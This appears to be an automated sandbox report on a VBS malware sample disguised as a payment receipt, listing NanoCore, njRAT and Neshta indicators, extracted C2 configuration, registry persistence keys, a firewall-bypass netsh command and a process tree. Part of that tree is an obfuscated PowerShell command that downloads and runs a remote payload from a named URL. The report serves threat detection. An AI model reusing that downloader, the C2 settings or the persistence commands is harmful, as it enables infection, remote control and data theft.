nanocore | 89b129e7f88a0d4fd5d977b3cb427866a157ef99abccc3e41c564b5a2441dafa

Analysis

max time kernel
149s
max time network
149s
platform
windows10_x64
resource
win10-en-20211208
submitted
04/01/2022, 18:06

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General

Target
H2J1M7D65PAYMENTRECEIPT.vbs
Size 2KB
Sample220104-wprc1ahfgp
SHA256 89b129e7f88a0d4fd5d977b3cb427866a157ef99abccc3e41c564b5a2441dafa
MD5 63975e8c7e5307c832199dfdab8917f5
SHA1 31cb6c33badba8193cb53df994e9a1db72ac5b0e
SHA512 bfe2660feed753461ffe1c6f75507772acd2afcd65c59ae1c5fe041c6b06d535e77c33f6d1ded4c8eff7bc9735199fb657ab59afaa4911fcab914c81bda52a49
MD5 SHA1 SHA512

Score

10^/10

nanocore neshta njrat hacked evasion keylogger persistence spyware stealer suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://swmen.com/ven/frder.txt

Extracted

Family

njrat

Version

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Extracted

Family

nanocore

Version

1.2.2.0

jannewyearomo.duckdns.org:8090

Mutex

362bbfaa-34cf-4e04-9ff9-2cdc1915fc38

Attributes

activate_away_mode
true
backup_connection_host
jannewyearomo.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-10-16T16:37:09.129050636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
8090
default_group
jan new year
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
362bbfaa-34cf-4e04-9ff9-2cdc1915fc38
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jannewyearomo.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

Detect Neshta Payload 3 IoCs

resource	yara_rule
behavioral2/memory/1184-172-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1184-173-0x00000000004080E4-mapping.dmp	family_neshta
behavioral2/memory/1184-176-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4048	powershell.exe
18	4048	powershell.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" .."	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" .."	aspnet_compiler.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4048 set thread context of 2644	4048	powershell.exe	72
PID 4048 set thread context of 1516	4048	powershell.exe	73
PID 4048 set thread context of 1184	4048	powershell.exe	76

Drops file in Program Files directory 53 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOBD5D~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GO664E~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~2.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\ACCESS~1\wordpad.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\armsvc.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~3.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOF5E2~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~4.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\WinMail.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE	aspnet_compiler.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\svchost.com	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
1516	aspnet_compiler.exe
1516	aspnet_compiler.exe
1516	aspnet_compiler.exe
1516	aspnet_compiler.exe
1516	aspnet_compiler.exe
1516	aspnet_compiler.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1516	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	1516	aspnet_compiler.exe
Token: SeDebugPrivilege	2644	aspnet_compiler.exe
Token: 33	2644	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2644	aspnet_compiler.exe
Token: 33	2644	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2644	aspnet_compiler.exe
Token: 33	2644	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2644	aspnet_compiler.exe
Token: 33	2644	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2644	aspnet_compiler.exe
Token: 33	2644	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2644	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 4048	2652	WScript.exe	68
PID 2652 wrote to memory of 4048	2652	WScript.exe	68
PID 4048 wrote to memory of 1396	4048	powershell.exe	70
PID 4048 wrote to memory of 1396	4048	powershell.exe	70
PID 4048 wrote to memory of 1396	4048	powershell.exe	70
PID 4048 wrote to memory of 2840	4048	powershell.exe	71
PID 4048 wrote to memory of 2840	4048	powershell.exe	71
PID 4048 wrote to memory of 2840	4048	powershell.exe	71
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 2644	4048	powershell.exe	72
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 1516	4048	powershell.exe	73
PID 4048 wrote to memory of 2640	4048	powershell.exe	74
PID 4048 wrote to memory of 2640	4048	powershell.exe	74
PID 4048 wrote to memory of 2640	4048	powershell.exe	74
PID 4048 wrote to memory of 1084	4048	powershell.exe	75
PID 4048 wrote to memory of 1084	4048	powershell.exe	75
PID 4048 wrote to memory of 1084	4048	powershell.exe	75
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 4048 wrote to memory of 1184	4048	powershell.exe	76
PID 2644 wrote to memory of 1700	2644	aspnet_compiler.exe	78
PID 2644 wrote to memory of 1700	2644	aspnet_compiler.exe	78
PID 2644 wrote to memory of 1700	2644	aspnet_compiler.exe	78

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\H2J1M7D65PAYMENTRECEIPT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &((gv '*MDR*').naMe[3,11,2]-joIN'') ( (('(0PG (Rd9&(Lz0PG+0PGS{0'+'PG+0PG0}Rd9+Rd0PG+0'+'PG9{1}LzRd0PG+0PG9+Rd0PG+0PG9S0PG+0PG-fRd9+Rd9X'+'EzIR0PG+0PGd0PG+0PG9'+'+R0PG+0PGd9EXEz,XEzR'+'d9'+'+Rd9XXEz)(.R0PG+0PGd0PG+0PG9+Rd9(0PG+0PGLRd9+Rd9z0PG+0PGS{10PG+0PG}{0}R0PG+0PGd9+R0PG+0PGd90PG+0PG{20PG+0PG}LzS -R0PG+0PGd90PG+0PG+Rd90PG+0PGfXERd0PG+0PG90PG+0PG+Rd0PG'+'+0PG9zORd9+Rd9bXEz,(LR0PG+0PGd0PG+0PG9+Rd90PG+0PGzS{1}0PG+0PGRd90PG+0PG+0PG+0PGR0PG+0PGd9{0Rd9+Rd9}LzS 0PG+0PG-f'+'Rd9+Rd9 0PG+0PGRd9+Rd90PG+0PGXEz0PG+0PGw-Rd9+0P'+'G+0PGRd9XEz,XE0PG+0PGz0PG+0PGRd0'+'PG+0PG9+R'+'d9N0PG+0PGeXEz)Rd9+Rd90PG+0PG,(0PG+0PGLz0PG+0PGS{0}{1R0PG+0PGd0PG+0PG9+Rd9}Rd9+Rd90PG+0PGLz0PG+0PGS-Rd9+Rd0PG+0PG9fXEz0PG+0PGjeXE0PG+0PGz0PG+0PG,XEzRd0PG+0PG9+Rd0PG+0PG9ctX0PG+0PGEz)) (LzS{2Rd90PG+0PG+R0PG+0PGd90PG'+'+0PG}{0}0PG+0PG{'+'0PG+0PG1Rd9+Rd9}LzSRd9+0PG+0PGRd0PG+0PG9-fRd9+Rd9 R'+'d90PG+0PG+Rd9(Lz0PG+0PGRd9+Rd0PG+0PG9S{1}{0}{0PG+0PG2Rd0PG+0PG90PG+0PG+R0PG+0PGd9}Rd9+Rd9LzS 0PG+0PG-f Rd9+Rd9XRd9+Rd9EzbCl0PG+0PGXEz,XEz.W0PG+0PGe0PG+0PGXR'+'d'+'9+Rd9ERd90PG+0PG+R0PG+0PGd90PG+0PGz,XEz0PG+0PGiX0PG+0PGEz)0PG+0PG,R0PG+0PGd9+Rd9XERd9+R0PG+0PGd9ze0PG+0PGntXEz,X0PG+0PGR0PG+0PGd9+R0PG+0PGd9EzNetXEz'+')).0PG+0PG(L0PG+0PGRd9+Rd9zRd90P'+'G+0PG+Rd90PG+0P'+'GS{Rd0PG+0PG90PG+0PG+Rd0PG+0PG90}{2Rd9+0PG'+'+0PGRd'+'9}0PG+0PG{3}{0PG+0PG1}{40PG+0PG}LRd90PG+0PG+Rd9zSRd9+Rd9 0PG+0PG-f XE0PG+0PGzDXERd9+Rd9z,Rd9+R0PG+0PGd9XEzdstXEz'+',XE0PG+0PGzow0PG+0PGnXERd'+'9+R0PG+0PGd9z,R0PG+0PGd9+0PG+0PGR0PG+0PGd90PG+0PGXEzloaXER0PG+0PGd90P'+'G'+'+0PG+Rd90PG+0PGz,(LRd0PG+0PG9+0P'+'G+0PGRd9z0PG+0PGRd9+Rd9S0PG+0PG{0}{1}LzRd9+Rd0PG+0PG9S -Rd9+0PG+0PGRd9fRd0PG'+'+0PG9+R'+'d9XEzrRd9'+'+R0PG+0PGd9iXEz,0PG+0PGX0'+'PG+0PGEzn0PG+0PGgXEz0PG+0PGRd9+Rd90'+'PG+0PG)).LRd9+Rd9'+'zSINRd9+Rd0PG+0PG9vOLGykERd9+Rd9'+'LzS(0PG+0'+'PGXEzhttp://swmen.com/ven/frder.txtX0PG+0PGRd9+Rd9Ez)Rd0PG+0PG90PG+0PG).rEp'+'l0PG+0P'+'GacE(Rd9LGyRd9'+',0PG+0PGR0PG+0PGd9tYaRd0PG+0PG9).rEplacE(([cHaR]76+0PG+0PG[cHaR]122+[0PG+0PGcHaR0PG+0PG]0PG+0PG83),[STrinG]0PG+0PG[0PG+0PGc'+'HaR]34)0PG+0PG.rEplacE(([cHaR]80PG+0PG8+[cHaR]60PG+0PG9+[cHaR]120PG+0PG2),[0PG+0PGSTr'+'inG][cHa0PG+0PGR]30PG+0PG9)0c0PG'+'+0PGoIn0PG+0PGVo0PG+0PGkE-E0PG+0PGxpre'+'sSi0PG+0PGo0PG+0PGN0PG).rEplaCe(0PGRd90PG,[sTrIng][CHar]39).rEplaCe(0PG0co0PG,0PGvKO0PG).rEplaCe(([CHar'+']116+[CHar]89+[CHar]97),[sTrIng][CHar]96)vKO .( kSfEnV:COmspeC[4,24,25]-jOIN0'+'PG0PG)') -replace ([CHaR]118+[CHaR]75+[CHaR]79),[CHaR]124-crEpLace([CHaR]48+[CHaR]80+[CHaR]71),[CHaR]39 -replace 'kSf',[CHaR]36))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:1396
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:2840
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
      4⤵
      PID:1700
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:2640
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:1084
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Modifies system executable filetype association
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies registry class
    PID:1184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Change Default File Association

T1042

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1184-172-0x0000000000400000-0x000000000041B000-memory.dmp

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memory/1184-176-0x0000000000400000-0x000000000041B000-memory.dmp

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memory/1516-181-0x0000000006D80000-0x0000000006D9A000-memory.dmp

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memory/1516-166-0x0000000005710000-0x000000000571A000-memory.dmp

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memory/1516-193-0x0000000007060000-0x00000000070C6000-memory.dmp

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memory/1516-191-0x0000000006E90000-0x0000000006EA4000-memory.dmp

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memory/1516-190-0x0000000006E50000-0x0000000006E7E000-memory.dmp

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memory/1516-189-0x0000000006E30000-0x0000000006E3E000-memory.dmp

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memory/1516-187-0x0000000006E10000-0x0000000006E18000-memory.dmp

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memory/1516-188-0x0000000006E20000-0x0000000006E34000-memory.dmp

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memory/1516-186-0x0000000006E00000-0x0000000006E14000-memory.dmp

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memory/1516-185-0x0000000006DF0000-0x0000000006DFE000-memory.dmp

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memory/1516-184-0x0000000006DE0000-0x0000000006DEC000-memory.dmp

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memory/1516-164-0x0000000005850000-0x00000000058EC000-memory.dmp

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memory/1516-182-0x0000000006DB0000-0x0000000006DBE000-memory.dmp

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memory/1516-179-0x00000000059F0000-0x00000000059FA000-memory.dmp

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memory/1516-178-0x00000000063C0000-0x00000000063DE000-memory.dmp

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memory/1516-177-0x0000000005790000-0x000000000579A000-memory.dmp

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memory/1516-175-0x0000000005710000-0x0000000005C0E000-memory.dmp

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memory/1516-183-0x0000000006DD0000-0x0000000006DE2000-memory.dmp

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memory/1516-154-0x0000000000400000-0x0000000000438000-memory.dmp

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memory/1516-157-0x0000000000400000-0x0000000000438000-memory.dmp

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memory/1516-158-0x0000000000400000-0x0000000000438000-memory.dmp

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memory/1516-180-0x0000000006D70000-0x0000000006D7C000-memory.dmp

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memory/1516-163-0x00000000057B0000-0x0000000005842000-memory.dmp

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memory/1516-161-0x0000000005C10000-0x000000000610E000-memory.dmp

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memory/2644-151-0x0000000000400000-0x0000000000410000-memory.dmp

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memory/2644-162-0x00000000058F0000-0x0000000005DEE000-memory.dmp

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memory/2644-159-0x0000000000400000-0x0000000000410000-memory.dmp

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memory/2644-198-0x0000000006550000-0x000000000655A000-memory.dmp

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memory/2644-156-0x0000000000400000-0x0000000000410000-memory.dmp

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memory/2644-197-0x00000000064F0000-0x0000000006508000-memory.dmp

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memory/2644-196-0x0000000005EA0000-0x0000000005F06000-memory.dmp

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memory/2644-194-0x00000000053F0000-0x00000000058EE000-memory.dmp

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memory/2644-165-0x0000000005830000-0x00000000058C2000-memory.dmp

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memory/2644-160-0x00000000052C0000-0x000000000535C000-memory.dmp

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memory/4048-130-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-140-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-117-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-174-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-139-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-135-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-134-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-133-0x000001DAC4D46000-0x000001DAC4D48000-memory.dmp

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memory/4048-132-0x000001DAC4D43000-0x000001DAC4D45000-memory.dmp

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memory/4048-131-0x000001DAC4D40000-0x000001DAC4D42000-memory.dmp

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memory/4048-146-0x000001DAC5040000-0x000001DAC5052000-memory.dmp

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memory/4048-124-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-123-0x000001DAC50A0000-0x000001DAC5116000-memory.dmp

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memory/4048-122-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-118-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-121-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-119-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-116-0x000001DAAAEE0000-0x000001DAAAEE2000-memory.dmp

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memory/4048-167-0x000001DAC5060000-0x000001DAC5072000-memory.dmp

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memory/4048-153-0x000001DAC5050000-0x000001DAC5062000-memory.dmp

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memory/4048-120-0x000001DAC4EF0000-0x000001DAC4F12000-memory.dmp

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